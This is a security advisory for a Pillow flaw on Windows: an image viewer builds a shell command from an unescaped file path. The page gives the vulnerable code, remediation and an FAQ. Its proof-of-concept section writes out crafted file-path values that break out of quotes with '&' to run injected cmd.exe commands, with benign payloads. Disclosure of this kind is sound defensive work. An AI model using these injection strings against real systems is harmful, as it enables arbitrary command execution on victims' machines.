CVE-2026-55798: Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path
1. Summary
WindowsViewer.getcommand() constructs a cmd.exe shell command by directly embedding a file path into an f-string without escaping. The result is passed to subprocess.Popen(..., shell=True). Shell metacharacters in the file path — most importantly a double-quote (") that breaks out of the wrapping, followed by & — allow injection of arbitrary cmd.exe commands.
The macOS equivalent (MacViewer) correctly applies shlex.quote() to the same parameter. The Linux equivalent (UnixViewer) does likewise. Windows is the only platform missing this protection, despite shlex.quote being already imported on line 21 of ImageShow.py.
---
2. Vulnerable Code
File: src/PIL/ImageShow.py, lines 133–150
python class WindowsViewer(Viewer): format = "PNG" options = {"compresslevel": 1, "saveall": True}
def getcommand(self, file: str, options: Any) -> str: return ( f'start "Pillow" /WAIT "{file}" ' # ← f-string, no escaping "&& ping -n 4 127.0.0.1 >NUL " f'&& del /f "{file}"' # ← same path, unescaped again )
def showfile(self, path: str, options: Any) -> int: if not os.path.exists(path): raise FileNotFoundError subprocess.Popen( self.getcommand(path, options), shell=True, # ← shell=True creationflags=getattr(subprocess, "CREATENOWINDOW"), ) # nosec # ← Bandit warning suppressed manually return 1
Contrast with macOS — SAFE (line 164–168): python class MacViewer(Viewer): def getcommand(self, file: str, options: Any) -> str: command = "open -a Preview.app" command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&" return command # ← shlex.quote() applied
Cross-platform summary:
| Platform | Class | shlex.quote()? | shell=True? | Safe? | |----------|----------------|------------------|---------------|-------| | macOS | MacViewer | Yes (line 168) | No (list args) | ✅ Yes | | Linux | UnixViewer | Yes (line 207) | No (list args) | ✅ Yes | | Windows | WindowsViewer| No (line 134–137) | Yes (line 148) | ❌ No |
shlex.quote is imported on line 21. Its omission from the Windows path is a clear oversight, not a deliberate design choice.
--- 3. Proof of Concept
A full working PoC is at pocpillowinjection.py. Key parts:
Part A — Injection string construction (static, no execution): python from PIL.ImageShow import WindowsViewer
viewer = WindowsViewer() evilpath = r'C:\Temp\evil" & echo PWNED & echo "' cmd = viewer.getcommand(evilpath) print(cmd) Output: start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ... ┌─ start "Pillow" /WAIT "C:\Temp\evil" → fails (file not found) ├─ & echo PWNED → INJECTED COMMAND └─ & echo "" && ping ... → continues
Part B — Live execution via os.system() (verified on Windows 11, Pillow 12.1.1): python import os, tempfile from PIL.ImageShow import WindowsViewer
viewer = WindowsViewer() pocdir = tempfile.mkdtemp() marker = os.path.join(pocdir, "INJECTIONCONFIRMED.txt")
Craft injection: payload writes a marker file (harmless) payload = f'echo REALINJECTED > "{marker}"' evilpath = os.path.join(pocdir, f'poc" & {payload} & echo "')
Call the REAL Pillow getcommand(): realcmd = viewer.getcommand(evilpath)
Execute the same way the base Viewer.showfile() does (os.system): os.system(realcmd)
assert os.path.exists(marker) # PASSES — marker was created assert "REALINJECTED" in open(marker).read() # PASSES → CONFIRMED: arbitrary command injection via getcommand()
---
Other sources
Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.getcommand() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/Pillowto a version that resolves this vulnerability.Fixed in 12.3.0 - Upgrade
Upgrade
Pillow (ImageShow.py WindowsViewer.get_command)to a version that resolves this vulnerability.Fixed in 12.3.0
Event History
Frequently Asked Questions
What is the severity of CVE-2026-55798?
The severity of CVE-2026-55798 is medium with a score of 4.5.
How do I fix CVE-2026-55798?
To fix CVE-2026-55798, upgrading Pillow to version 12.3.0 or later is recommended.
What types of attacks does CVE-2026-55798 facilitate?
CVE-2026-55798 facilitates OS command injection attacks through unescaped shell paths.
Which component of Pillow is affected by CVE-2026-55798?
CVE-2026-55798 affects the WindowsViewer.get_command() function within the Pillow library.
What versions of Pillow are vulnerable to CVE-2026-55798?
Versions of Pillow prior to 12.3.0 are vulnerable to CVE-2026-55798.